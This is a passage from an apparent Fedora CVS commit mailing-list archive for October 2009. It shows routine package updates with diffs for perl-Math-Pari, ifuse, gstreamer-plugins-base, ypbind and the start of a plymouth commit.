Date: Thu, 29 Oct 2009 13:23:55 +0000 (UTC)
Subject: rpms/perl-Math-Pari/devel
	perl-Math-Pari-2.010802-docs-and-testsuite.patch, NONE,
	1.1 perl-Math-Pari-2.010802-no-fake-version.patch, NONE,
	1.1 .cvsignore, 1.7, 1.8 perl-Math-Pari.spec, 1.17, 1.18 sources,
	1.7, 1.8
Message-ID: <20091029132355.0DFD611C008B@cvs1.fedora.phx.redhat.com>

Author: pghmcfc

Update of /cvs/pkgs/rpms/perl-Math-Pari/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30621

Modified Files:
	.cvsignore perl-Math-Pari.spec sources 
Added Files:
	perl-Math-Pari-2.010802-docs-and-testsuite.patch 
	perl-Math-Pari-2.010802-no-fake-version.patch 
Log Message:
Update to 2.010802
Use system pari library (version 2.3.4) rather than a local build (requires patches to Makefile.PL to get docs and test suite)
Enforce tight dependency on system pari version to ensure we stay in step
Fix test suite so that 64-bit builds work with pari-2.3.4
Use standard filter macros for provides filter


perl-Math-Pari-2.010802-docs-and-testsuite.patch:
 Makefile.PL |   10 ++++++----
 1 file changed, 6 insertions(+), 4 deletions(-)

--- NEW FILE perl-Math-Pari-2.010802-docs-and-testsuite.patch ---
--- Math-Pari-2.010802/Makefile.PL.orig	2009-10-29 10:47:15.349216927 +0000
+++ Math-Pari-2.010802/Makefile.PL	2009-10-29 11:12:54.651293844 +0000
@@ -102,11 +102,13 @@
 }
 
 my %opts;
+
+# We want to build the docs and the test suite even though we're using the system pari lib
+build_tests $paridir;				# Convert the test suite
+make_pod 'libPARI.pod', '-to_pod', $paridir;	# Now the docs
+make_pod 'libPARI.dumb.pod', '-to_dumb_pod', $paridir;
+
 unless ($common::parilib) {
-  build_tests $paridir;		# Convert the test suite
-  make_pod 'libPARI.pod', '-to_pod', $paridir; # Now the docs
-  make_pod 'libPARI.dumb.pod', '-to_dumb_pod', $paridir;
-  # ... and paricfg.h
   %opts = build_paricfg($paridir, $common::do_configure, $pari_version);
 
   if ($ENV{MATH_PARI_REPORT_CODES}) {

perl-Math-Pari-2.010802-no-fake-version.patch:
 Makefile.PL |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE perl-Math-Pari-2.010802-no-fake-version.patch ---
--- Math-Pari-2.010802/Makefile.PL.orig	2009-10-27 22:17:12.000000000 +0000
+++ Math-Pari-2.010802/Makefile.PL	2009-10-29 10:47:15.349216927 +0000
@@ -44,7 +44,7 @@
 EOP
 
 if ($common::parilib) {
-  $pari_version = '2001004';	# XXXX How to get a correct one?
+  $pari_version = '@@@OUR-PARI-VERSION@@@';	# XXXX How to get a correct one?
   $define = '-DNO_HIGHLEVEL_PARI';
   print <<EOP;
 Trying to use existing PARI library (at $common::parilib)


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Math-Pari/devel/.cvsignore,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- .cvsignore	11 Feb 2009 10:49:21 -0000	1.7
+++ .cvsignore	29 Oct 2009 13:23:54 -0000	1.8
@@ -1,2 +1,2 @@
-Math-Pari-2.010801.tar.gz
-pari-2.1.7.tgz
+Math-Pari-2.010802.tar.gz
+pari-2.3.4.tar.gz


Index: perl-Math-Pari.spec
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Math-Pari/devel/perl-Math-Pari.spec,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- perl-Math-Pari.spec	26 Jul 2009 11:14:43 -0000	1.17
+++ perl-Math-Pari.spec	29 Oct 2009 13:23:54 -0000	1.18
@@ -1,37 +1,38 @@
-# This package includes the pari library source even though that is
-# being introduced to Fedora Extras in its own right (#169703). The
-# rationale for this is:
-# (a)	This package patches the library source code
-# (b)	This package integrates very tightly with the library and may
-#	break if the library is changed underneath it
-# (c)	Functionality is lost if built against an external PARI library
-#	(see the INSTALL file in the distribution)
-
-# The perl module version used to indicate the latest PARI version that
-# it was tested against, but due to an oversight 2.010800 was released
-# and broke the numbering scheme, so we need to hardcode both version
-# numbers from now on (see CPAN RT#35493)
-%define module_version	2.010801
-%define pari_version	2.1.7
+# This package includes the pari library source even though we link
+# against the system version of the library; the library source is
+# needed to build the documentation for this perl binding and also
+# to enhance the test suite, by providing additional tests from the
+# main library test suite.
+#
+# Since this binding is tightly linked to the main library, we
+# have to enforce a tight dependency on the main pari library version
+# so that we stay in step properly.
+%global pari_version	2.3.4
+%global pari_int_version %(echo %{pari_version} | %{__perl} -pi -e 's/(\\d+)\\.(\\d+)\\.(\\d+)/sprintf("%d%03d%03d",$1,$2,$3)/e')
 
 Summary:	Perl interface to PARI
 Name:		perl-Math-Pari
-Version:	%{module_version}
-Release:	4%{?dist}
+Version:	2.010802
+Release:	1%{?dist}
 License:	GPL+ or Artistic
 Group:		Development/Libraries
 Url:		http://search.cpan.org/dist/Math-Pari/
-Source0:	http://search.cpan.org/CPAN/authors/id/I/IL/ILYAZ/modules/Math-Pari-%{module_version}.tar.gz
-Source1:	http://pari.math.u-bordeaux.fr/pub/pari/unix/OLD/pari-%{pari_version}.tgz
+Source0:	http://search.cpan.org/CPAN/authors/id/I/IL/ILYAZ/modules/Math-Pari-%{version}.tar.gz
+Source1:	http://pari.math.u-bordeaux.fr/pub/pari/unix/pari-%{pari_version}.tar.gz
+Patch0:		perl-Math-Pari-2.010802-no-fake-version.patch
+Patch1:		perl-Math-Pari-2.010802-docs-and-testsuite.patch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 Requires:	perl(:MODULE_COMPAT_%(eval "`%{__perl} -V:version`"; echo $version))
 BuildRequires:	perl(ExtUtils::MakeMaker)
 
-# don't "provide" private Perl libs or the redundant unversioned perl(Math::Pari) one
-%global _use_internal_dependency_generator 0
-%global __deploop() while read FILE; do /usr/lib/rpm/rpmdeps -%{1} ${FILE}; done | /bin/sort -u
-%global __find_provides /bin/sh -c "%{__grep} -v '%{perl_vendorarch}/.*\\.so$' | %{__deploop P} | %{__grep} -Fvx 'perl(Math::Pari)'"
-%global __find_requires /bin/sh -c "%{__deploop R}"
+# Enforce dependency against same version of pari that we're built for
+# The runtime dependency will hopefully change to pari-libs soon (#530565)
+BuildRequires:	pari-devel%{?_isa} = %{pari_version}
+Requires:	pari%{?_isa} = %{pari_version}
+
+# Don't "provide" private Perl libs or the redundant unversioned perl(Math::Pari)
+%filter_from_provides /^perl(Math::Pari)$/d
+%{?perl_default_filter}
 
 %description
 This package is a Perl interface to the famous library PARI for numerical/
@@ -39,19 +40,30 @@ scientific/ number-theoretic calculation
 as Perl functions, and (almost) seamless merging of PARI and Perl data.
 
 %prep
-%setup -q -n Math-Pari-%{module_version} -a 1
+%setup -q -n Math-Pari-%{version} -a 1
 
 # Remove spurious executable permission bits
 %{__chmod} -x Changes README Pari.pm PariInit.pm func_codes.h Pari.xs
 
+# If 64-bit test results missing, they should be copied from 32-bit test results
+cd pari-%{pari_version}/src/test/in
+for test in *; do
+	[ ! -f ../64/${test} ] && %{__cp} -a ../32/${test} ../64/${test}
+done
+cd -
+
+# Don't use a fake version number when we can use a real one
+%patch0 -p1
+%{__sed} -i -e s/@@@OUR-PARI-VERSION@@@/%{pari_int_version}/ Makefile.PL
+
+# We want to build the docs and test suite from the local pari sources
+%patch1 -p1
+
 %build
-# machine=linux-none needed to avoid breakage of 64-bit builds
-# other flags cribbed from pari.spec (#169703)
-export DLCFLAGS=-fPIC
 %{__perl} Makefile.PL \
 	INSTALLDIRS=vendor \
-	OPTIMIZE="%{optflags} -fomit-frame-pointer" \
-	machine=none
+	OPTIMIZE="-I%{_includedir}/pari %{optflags}" \
+	parilib="-lpari"
 %{__make} %{?_smp_mflags}
 
 %install
@@ -82,6 +94,14 @@ export DLCFLAGS=-fPIC
 %exclude %{_mandir}/man3/Math::libPARI.dumb.3pm*
 
 %changelog
+* Thu Oct 29 2009 Paul Howarth <paul at city-fan.org> - 2.010802-1
+- Update to 2.010802
+- Use system pari library (version 2.3.4) rather than a local build
+  (requires patches to Makefile.PL to get docs and test suite)
+- Enforce tight dependency on system pari version to ensure we stay in step
+- Fix test suite so that 64-bit builds work with pari-2.3.4
+- Use standard filter macros for provides filter
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.010801-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Math-Pari/devel/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	11 Feb 2009 10:49:21 -0000	1.7
+++ sources	29 Oct 2009 13:23:54 -0000	1.8
@@ -1,2 +1,2 @@
-c0628a5ad79a53a22188aca476ea45ce  Math-Pari-2.010801.tar.gz
-357b7a42e89e2761a5367bbcbfcca5f2  pari-2.1.7.tgz
+f843b0b19da0a0a044851d980881dbc9  Math-Pari-2.010802.tar.gz
+35c896266e4257793387ba22d5d76078  pari-2.3.4.tar.gz



From pbrobinson at fedoraproject.org  Thu Oct 29 13:38:31 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Thu, 29 Oct 2009 13:38:31 +0000 (UTC)
Subject: rpms/ifuse/devel ifuse.spec,1.8,1.9
Message-ID: <20091029133831.E3F9611C008B@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/ifuse/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3390

Modified Files:
	ifuse.spec 
Log Message:
- Fix included files


Index: ifuse.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ifuse/devel/ifuse.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- ifuse.spec	28 Oct 2009 16:23:10 -0000	1.8
+++ ifuse.spec	29 Oct 2009 13:38:30 -0000	1.9
@@ -1,6 +1,6 @@
 Name:          ifuse
 Version:       0.9.4
-Release:       1%{?dist}
+Release:       2%{?dist}
 Summary:       Mount Apple iPhone and iPod touch devices
 
 Group:         System Environment/Libraries
@@ -34,10 +34,12 @@ rm -rf $RPM_BUILD_ROOT
 %files
 %defattr(-,root,root,-)
 %doc AUTHORS COPYING README
-/sbin/mount.fuse.ifuse
-%{_datadir}/hal/fdi/information/20thirdparty/30-ifuse.fdi
+%{_bindir}/ifuse
 
 %changelog
+* Wed Oct 28 2009 Peter Robinson <pbrobinson at gmail.com> 0.9.4-2
+- Fix included files
+
 * Wed Oct 28 2009 Peter Robinson <pbrobinson at gmail.com> 0.9.4-1
 - Update to 0.9.4 release for new usbmuxd 1.0.0-rc1
 



From hadess at fedoraproject.org  Thu Oct 29 13:51:45 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Thu, 29 Oct 2009 13:51:45 +0000 (UTC)
Subject: rpms/gstreamer-plugins-base/F-12 gstpb-playbin-notify.patch, NONE, 
	1.1 gstreamer-plugins-base.spec, 1.90, 1.91
Message-ID: <20091029135145.A18E011C02C9@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/gstreamer-plugins-base/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6464

Modified Files:
	gstreamer-plugins-base.spec 
Added Files:
	gstpb-playbin-notify.patch 
Log Message:
* Thu Oct 29 2009 Bastien Nocera <bnocera at redhat.com> 0.10.25-4
- Make playbin push volume changes to the front-end


gstpb-playbin-notify.patch:
 gstplaybin2.c |   17 +++++++++++++++++
 gstplaysink.c |   36 ++++++++++++++++++++++++++++++++++++
 2 files changed, 53 insertions(+)

--- NEW FILE gstpb-playbin-notify.patch ---
diff --git a/gst/playback/gstplaysink.c b/gst/playback/gstplaysink.c
index 85f7abd..9809196 100644
--- a/gst/playback/gstplaysink.c
+++ b/gst/playback/gstplaysink.c
@@ -1421,6 +1421,19 @@ gen_subp_chain (GstPlaySink * playsink)
   return chain;
 }
 
+static void
+notify_volume_cb (GObject * selector, GParamSpec * pspec,
+    GstPlaySink * playsink)
+{
+  g_object_notify (G_OBJECT (playsink), "volume");
+}
+
+static void
+notify_mute_cb (GObject * selector, GParamSpec * pspec, GstPlaySink * playsink)
+{
+  g_object_notify (G_OBJECT (playsink), "mute");
+}
+
 /* make the chain that contains the elements needed to perform
  * audio playback.
  *
@@ -1497,6 +1510,9 @@ gen_audio_chain (GstPlaySink * playsink, gboolean raw, gboolean queue)
   if (elem) {
     chain->volume = elem;
 
+    g_signal_connect (chain->volume, "notify::volume",
+        G_CALLBACK (notify_volume_cb), playsink);
+
     GST_DEBUG_OBJECT (playsink, "the sink has a volume property");
     have_volume = TRUE;
     chain->sink_volume = TRUE;
@@ -1507,6 +1523,8 @@ gen_audio_chain (GstPlaySink * playsink, gboolean raw, gboolean queue)
         gst_play_sink_find_property_sinks (playsink, chain->sink, "mute");
     if (chain->mute) {
       GST_DEBUG_OBJECT (playsink, "the sink has a mute property");
+      g_signal_connect (chain->mute, "notify::mute",
+          G_CALLBACK (notify_mute_cb), playsink);
     }
     /* use the sink to control the volume and mute */
     if (playsink->volume_changed) {
@@ -1575,6 +1593,11 @@ gen_audio_chain (GstPlaySink * playsink, gboolean raw, gboolean queue)
       } else {
         have_volume = TRUE;
 
+        g_signal_connect (chain->volume, "notify::volume",
+            G_CALLBACK (notify_volume_cb), playsink);
+        g_signal_connect (chain->mute, "notify::mute",
+            G_CALLBACK (notify_mute_cb), playsink);
+
         /* volume also has the mute property */
         chain->mute = chain->volume;
 
@@ -1687,6 +1710,9 @@ setup_audio_chain (GstPlaySink * playsink, gboolean raw, gboolean queue)
       /* use the sink to control the volume */
       g_object_set (G_OBJECT (chain->volume), "volume", playsink->volume, NULL);
     }
+
+    g_signal_connect (chain->volume, "notify::volume",
+        G_CALLBACK (notify_volume_cb), playsink);
     /* if the sink also has a mute property we can use this as well. We'll only
      * use the mute property if there is a volume property. We can simulate the
      * mute with the volume otherwise. */
@@ -1694,12 +1720,22 @@ setup_audio_chain (GstPlaySink * playsink, gboolean raw, gboolean queue)
         gst_play_sink_find_property_sinks (playsink, chain->sink, "mute");
     if (chain->mute) {
       GST_DEBUG_OBJECT (playsink, "the sink has a mute property");
+      g_signal_connect (chain->mute, "notify::mute",
+          G_CALLBACK (notify_mute_cb), playsink);
     }
   } else {
     /* no volume, we need to add a volume element when we can */
     GST_DEBUG_OBJECT (playsink, "the sink has no volume property");
     if (!raw) {
       GST_LOG_OBJECT (playsink, "non-raw format, can't do soft volume control");
+
+      if (chain->volume)
+        g_signal_handlers_disconnect_by_func (chain->volume, notify_volume_cb,
+            playsink);
+      if (chain->mute)
+        g_signal_handlers_disconnect_by_func (chain->mute, notify_mute_cb,
+            playsink);
+
       chain->volume = NULL;
       chain->mute = NULL;
     } else {
diff --git a/gst/playback/gstplaybin2.c b/gst/playback/gstplaybin2.c
index 1387a80..643c763 100644
--- a/gst/playback/gstplaybin2.c
+++ b/gst/playback/gstplaybin2.c
@@ -1091,6 +1091,18 @@ free_group (GstPlayBin * playbin, GstSourceGroup * group)
 }
 
 static void
+notify_volume_cb (GObject * selector, GParamSpec * pspec, GstPlayBin * playbin)
+{
+  g_object_notify (G_OBJECT (playbin), "volume");
+}
+
+static void
+notify_mute_cb (GObject * selector, GParamSpec * pspec, GstPlayBin * playbin)
+{
+  g_object_notify (G_OBJECT (playbin), "mute");
+}
+
+static void
 gst_play_bin_init (GstPlayBin * playbin)
 {
   GstFactoryListType type;
@@ -1116,6 +1128,11 @@ gst_play_bin_init (GstPlayBin * playbin)
   playbin->playsink = g_object_new (GST_TYPE_PLAY_SINK, NULL);
   gst_bin_add (GST_BIN_CAST (playbin), GST_ELEMENT_CAST (playbin->playsink));
   gst_play_sink_set_flags (playbin->playsink, DEFAULT_FLAGS);
+  /* Connect to notify::volume and notify::mute signals for proxying */
+  g_signal_connect (playbin->playsink, "notify::volume",
+      G_CALLBACK (notify_volume_cb), playbin);
+  g_signal_connect (playbin->playsink, "notify::mute",
+      G_CALLBACK (notify_mute_cb), playbin);
 
   playbin->encoding = g_strdup (DEFAULT_SUBTITLE_ENCODING);
 


Index: gstreamer-plugins-base.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gstreamer-plugins-base/F-12/gstreamer-plugins-base.spec,v
retrieving revision 1.90
retrieving revision 1.91
diff -u -p -r1.90 -r1.91
--- gstreamer-plugins-base.spec	27 Oct 2009 01:08:44 -0000	1.90
+++ gstreamer-plugins-base.spec	29 Oct 2009 13:51:45 -0000	1.91
@@ -3,7 +3,7 @@
 
 Name: 		%{gstreamer}-plugins-base
 Version: 	0.10.25
-Release:  	3%{?dist}
+Release:  	4%{?dist}
 Summary: 	GStreamer streaming media framework base plug-ins
 
 Group: 		Applications/Multimedia
@@ -42,6 +42,8 @@ Patch1:		gstpb-fix-missing-plugins.patch
 # https://bugzilla.gnome.org/show_bug.cgi?id=599105
 Patch2:		pulsesink-disable-old-version-hack.patch
 Conflicts:	gstreamer-plugins-good < 0.10.16-3
+# https://bugzilla.gnome.org/show_bug.cgi?id=600027
+Patch3:		gstpb-playbin-notify.patch
 
 # documentation
 BuildRequires:  gtk-doc >= 1.3
@@ -62,6 +64,7 @@ This package contains a set of well-main
 %patch0 -p1 -b .subtitle-errors
 %patch1 -p1 -b .missing-plugins
 %patch2 -p1 -R -b .old-pulsesink
+%patch3 -p1 -b .volume-notify
 
 %build
 %configure \
@@ -257,6 +260,9 @@ GStreamer Base Plugins library developme
 %doc %{_datadir}/gtk-doc/html/gst-plugins-base-plugins-%{majorminor}
 
 %changelog
+* Thu Oct 29 2009 Bastien Nocera <bnocera at redhat.com> 0.10.25-4
+- Make playbin push volume changes to the front-end
+
 * Tue Oct 27 2009 Bastien Nocera <bnocera at redhat.com> 0.10.25-3
 - Fix audio disappearing with newer pulsesink
 



From kklic at fedoraproject.org  Thu Oct 29 14:03:56 2009
From: kklic at fedoraproject.org (=?utf-8?b?S2FyZWwgS2zDrcSN?=)
Date: Thu, 29 Oct 2009 14:03:56 +0000 (UTC)
Subject: rpms/ypbind/F-12 ypbind-mt-1.20.4-network.patch, NONE,
	1.1 ypbind.spec, 1.63, 1.64
Message-ID: <20091029140356.D6D4111C02C9@cvs1.fedora.phx.redhat.com>

Author: kklic

Update of /cvs/extras/rpms/ypbind/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10138

Modified Files:
	ypbind.spec 
Added Files:
	ypbind-mt-1.20.4-network.patch 
Log Message:
Bind to domain even if not using NetworkManager

ypbind-mt-1.20.4-network.patch:
 ypbind-mt.c |   45 ++++++++++++++++++++++++++++++++++-----------
 1 file changed, 34 insertions(+), 11 deletions(-)

--- NEW FILE ypbind-mt-1.20.4-network.patch ---
diff -up ypbind-mt-1.20.4/src/ypbind-mt.c.network ypbind-mt-1.20.4/src/ypbind-mt.c
--- ypbind-mt-1.20.4/src/ypbind-mt.c.network	2009-10-29 11:53:00.265296485 +0100
+++ ypbind-mt-1.20.4/src/ypbind-mt.c	2009-10-29 11:53:00.269297063 +0100
@@ -297,6 +299,25 @@ load_config (int check_syntax)
   return 0;
 }
 
+
+/* Load the configuration, exiting if there's an error */
+static void
+load_config_or_exit(void)
+{
+  if (load_config (0) != 0)
+    {
+      fputs (_("No NIS server and no -broadcast option specified.\n"),
+	     stderr);
+      fprintf (stderr,
+	       _("Add a NIS server to the %s configuration file,\n"),
+	       configfile);
+      fputs (_("or start ypbind with the -broadcast option.\n"),
+	     stderr);
+      exit (1);
+    }
+}
+
+
 /* Create a pidfile on startup */
 static void
 create_pidfile (void)
@@ -765,18 +803,22 @@ main (int argc, char **argv)
 	       BINDINGDIR, strerror (errno));
       exit (1);
     }
-  /*
-   * Load config if we're not using DBUS/NetworkManager, since we
-   * assume the network is available now.  If we're using NetworkManager,
-   * the config will be loaded when a network becomes available.
-   */
-  if (disable_dbus)
-    {
-      /* Load the configuration.  If the load fails, set up broadcast mode. */
-      if (!use_broadcast && (load_config (0) != 0))
-        use_broadcast = 1;
+
+  if (!use_broadcast)
+    {
+#ifdef USE_DBUS_NM
+      /* If we don't use DBUS, exit with an error if we cannot load the
+	 config. Else load the config, maybe there is a network already
+	 running. */
+      if (disable_dbus)
+	load_config_or_exit ();
+      else
+	load_config (0);
+#else
+      load_config_or_exit ();
+#endif
     }
-  if (use_broadcast)
+  else
     add_server (domain, NULL, 0);
 
   unlink_bindingdir ();


Index: ypbind.spec
===================================================================
RCS file: /cvs/extras/rpms/ypbind/F-12/ypbind.spec,v
retrieving revision 1.63
retrieving revision 1.64
diff -u -p -r1.63 -r1.64
--- ypbind.spec	27 Jul 2009 08:55:46 -0000	1.63
+++ ypbind.spec	29 Oct 2009 14:03:56 -0000	1.64
@@ -1,7 +1,7 @@
 Summary: The NIS daemon which binds NIS clients to an NIS domain
 Name: ypbind
 Version: 1.20.4
-Release: 19%{?dist}
+Release: 20%{?dist}
 License: GPLv2
 Group: System Environment/Daemons
 Source0: ftp://ftp.us.kernel.org/pub/linux/utils/net/NIS/ypbind-mt-%{version}.tar.bz2
@@ -15,6 +15,7 @@ Patch4: ypbind-mt-1.20.4-log-binds.patch
 Patch5: ypbind-mt-1.20.4-smartwrite.patch
 Patch6: ypbind-mt-1.20.4-man-port.patch
 Patch7: ypbind-mt-1.20.4-nm.patch
+Patch8: ypbind-mt-1.20.4-network.patch
 
 Requires(post): chkconfig
 Requires(preun): chkconfig
@@ -53,6 +54,7 @@ also need to install the ypserv package 
 %patch5 -p1 -b .smartwrite
 %patch6 -p1 -b .man-port
 %patch7 -p1 -b .nm
+%patch8 -p1 -b .network
 
 %build
 %configure --sbindir=/sbin
@@ -97,6 +99,11 @@ fi
 %doc README NEWS
 
 %changelog
+* Thu Oct 29 2009 Karel Klic <kklic at redhat.com> - 3:1.20.4-20
+- Bind to domain even if not using NetworkManager
+  The fix uses  only the code from upstream ypbind-mt-1.29.91
+  Resolves: #531398
+
 * Mon Jul 27 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 3:1.20.4-19
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From hadess at fedoraproject.org  Thu Oct 29 14:10:15 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Thu, 29 Oct 2009 14:10:15 +0000 (UTC)
Subject: rpms/gstreamer-plugins-base/devel gstpb-playbin-notify.patch, NONE, 
	1.1 gstreamer-plugins-base.spec, 1.94, 1.95
Message-ID: <20091029141015.AB24511C0371@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/gstreamer-plugins-base/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11587

Modified Files:
	gstreamer-plugins-base.spec 
Added Files:
	gstpb-playbin-notify.patch 
Log Message:
* Thu Oct 29 2009 Bastien Nocera <bnocera at redhat.com> 0.10.25-4
- Make playbin push volume changes to the front-end


gstpb-playbin-notify.patch:
 gstplaybin2.c |   17 +++++++++++++++++
 gstplaysink.c |   36 ++++++++++++++++++++++++++++++++++++
 2 files changed, 53 insertions(+)

--- NEW FILE gstpb-playbin-notify.patch ---
diff --git a/gst/playback/gstplaysink.c b/gst/playback/gstplaysink.c
index 85f7abd..9809196 100644
--- a/gst/playback/gstplaysink.c
+++ b/gst/playback/gstplaysink.c
@@ -1421,6 +1421,19 @@ gen_subp_chain (GstPlaySink * playsink)
   return chain;
 }
 
+static void
+notify_volume_cb (GObject * selector, GParamSpec * pspec,
+    GstPlaySink * playsink)
+{
+  g_object_notify (G_OBJECT (playsink), "volume");
+}
+
+static void
+notify_mute_cb (GObject * selector, GParamSpec * pspec, GstPlaySink * playsink)
+{
+  g_object_notify (G_OBJECT (playsink), "mute");
+}
+
 /* make the chain that contains the elements needed to perform
  * audio playback.
  *
@@ -1497,6 +1510,9 @@ gen_audio_chain (GstPlaySink * playsink, gboolean raw, gboolean queue)
   if (elem) {
     chain->volume = elem;
 
+    g_signal_connect (chain->volume, "notify::volume",
+        G_CALLBACK (notify_volume_cb), playsink);
+
     GST_DEBUG_OBJECT (playsink, "the sink has a volume property");
     have_volume = TRUE;
     chain->sink_volume = TRUE;
@@ -1507,6 +1523,8 @@ gen_audio_chain (GstPlaySink * playsink, gboolean raw, gboolean queue)
         gst_play_sink_find_property_sinks (playsink, chain->sink, "mute");
     if (chain->mute) {
       GST_DEBUG_OBJECT (playsink, "the sink has a mute property");
+      g_signal_connect (chain->mute, "notify::mute",
+          G_CALLBACK (notify_mute_cb), playsink);
     }
     /* use the sink to control the volume and mute */
     if (playsink->volume_changed) {
@@ -1575,6 +1593,11 @@ gen_audio_chain (GstPlaySink * playsink, gboolean raw, gboolean queue)
       } else {
         have_volume = TRUE;
 
+        g_signal_connect (chain->volume, "notify::volume",
+            G_CALLBACK (notify_volume_cb), playsink);
+        g_signal_connect (chain->mute, "notify::mute",
+            G_CALLBACK (notify_mute_cb), playsink);
+
         /* volume also has the mute property */
         chain->mute = chain->volume;
 
@@ -1687,6 +1710,9 @@ setup_audio_chain (GstPlaySink * playsink, gboolean raw, gboolean queue)
       /* use the sink to control the volume */
       g_object_set (G_OBJECT (chain->volume), "volume", playsink->volume, NULL);
     }
+
+    g_signal_connect (chain->volume, "notify::volume",
+        G_CALLBACK (notify_volume_cb), playsink);
     /* if the sink also has a mute property we can use this as well. We'll only
      * use the mute property if there is a volume property. We can simulate the
      * mute with the volume otherwise. */
@@ -1694,12 +1720,22 @@ setup_audio_chain (GstPlaySink * playsink, gboolean raw, gboolean queue)
         gst_play_sink_find_property_sinks (playsink, chain->sink, "mute");
     if (chain->mute) {
       GST_DEBUG_OBJECT (playsink, "the sink has a mute property");
+      g_signal_connect (chain->mute, "notify::mute",
+          G_CALLBACK (notify_mute_cb), playsink);
     }
   } else {
     /* no volume, we need to add a volume element when we can */
     GST_DEBUG_OBJECT (playsink, "the sink has no volume property");
     if (!raw) {
       GST_LOG_OBJECT (playsink, "non-raw format, can't do soft volume control");
+
+      if (chain->volume)
+        g_signal_handlers_disconnect_by_func (chain->volume, notify_volume_cb,
+            playsink);
+      if (chain->mute)
+        g_signal_handlers_disconnect_by_func (chain->mute, notify_mute_cb,
+            playsink);
+
       chain->volume = NULL;
       chain->mute = NULL;
     } else {
diff --git a/gst/playback/gstplaybin2.c b/gst/playback/gstplaybin2.c
index 1387a80..643c763 100644
--- a/gst/playback/gstplaybin2.c
+++ b/gst/playback/gstplaybin2.c
@@ -1091,6 +1091,18 @@ free_group (GstPlayBin * playbin, GstSourceGroup * group)
 }
 
 static void
+notify_volume_cb (GObject * selector, GParamSpec * pspec, GstPlayBin * playbin)
+{
+  g_object_notify (G_OBJECT (playbin), "volume");
+}
+
+static void
+notify_mute_cb (GObject * selector, GParamSpec * pspec, GstPlayBin * playbin)
+{
+  g_object_notify (G_OBJECT (playbin), "mute");
+}
+
+static void
 gst_play_bin_init (GstPlayBin * playbin)
 {
   GstFactoryListType type;
@@ -1116,6 +1128,11 @@ gst_play_bin_init (GstPlayBin * playbin)
   playbin->playsink = g_object_new (GST_TYPE_PLAY_SINK, NULL);
   gst_bin_add (GST_BIN_CAST (playbin), GST_ELEMENT_CAST (playbin->playsink));
   gst_play_sink_set_flags (playbin->playsink, DEFAULT_FLAGS);
+  /* Connect to notify::volume and notify::mute signals for proxying */
+  g_signal_connect (playbin->playsink, "notify::volume",
+      G_CALLBACK (notify_volume_cb), playbin);
+  g_signal_connect (playbin->playsink, "notify::mute",
+      G_CALLBACK (notify_mute_cb), playbin);
 
   playbin->encoding = g_strdup (DEFAULT_SUBTITLE_ENCODING);
 


Index: gstreamer-plugins-base.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gstreamer-plugins-base/devel/gstreamer-plugins-base.spec,v
retrieving revision 1.94
retrieving revision 1.95
diff -u -p -r1.94 -r1.95
--- gstreamer-plugins-base.spec	27 Oct 2009 10:31:43 -0000	1.94
+++ gstreamer-plugins-base.spec	29 Oct 2009 14:10:14 -0000	1.95
@@ -3,7 +3,7 @@
 
 Name: 		%{gstreamer}-plugins-base
 Version: 	0.10.25
-Release:  	3%{?dist}
+Release:  	4%{?dist}
 Summary: 	GStreamer streaming media framework base plug-ins
 
 Group: 		Applications/Multimedia
@@ -42,6 +42,8 @@ Patch1:		gstpb-fix-missing-plugins.patch
 # https://bugzilla.gnome.org/show_bug.cgi?id=599105
 Patch2:		pulsesink-disable-old-version-hack.patch
 Conflicts:	gstreamer-plugins-good < 0.10.16-3
+# https://bugzilla.gnome.org/show_bug.cgi?id=600027
+Patch3:		gstpb-playbin-notify.patch
 
 # documentation
 BuildRequires:  gtk-doc >= 1.3
@@ -62,6 +64,7 @@ This package contains a set of well-main
 %patch0 -p1 -b .subtitle-errors
 %patch1 -p1 -b .missing-plugins
 %patch2 -p1 -R -b .old-pulsesink
+%patch3 -p1 -b .volume-notify
 
 %build
 %configure \
@@ -257,6 +260,9 @@ GStreamer Base Plugins library developme
 %doc %{_datadir}/gtk-doc/html/gst-plugins-base-plugins-%{majorminor}
 
 %changelog
+* Thu Oct 29 2009 Bastien Nocera <bnocera at redhat.com> 0.10.25-4
+- Make playbin push volume changes to the front-end
+
 * Tue Oct 27 2009 Bastien Nocera <bnocera at redhat.com> 0.10.25-3
 - Fix audio disappearing with newer pulsesink
 



From rstrode at fedoraproject.org  Thu Oct 29 14:11:05 2009
From: rstrode at fedoraproject.org (Ray Strode)
Date: Thu, 29 Oct 2009 14:11:05 +0000 (UTC)
Subject: rpms/plymouth/F-12 dont-unlink-devnull.patch, NONE,
	1.1 plymouth.spec, 1.161, 1.162
Message-ID: <20091029141105.8F91411C0371@cvs1.fedora.phx.redhat.com>

Author: rstrode

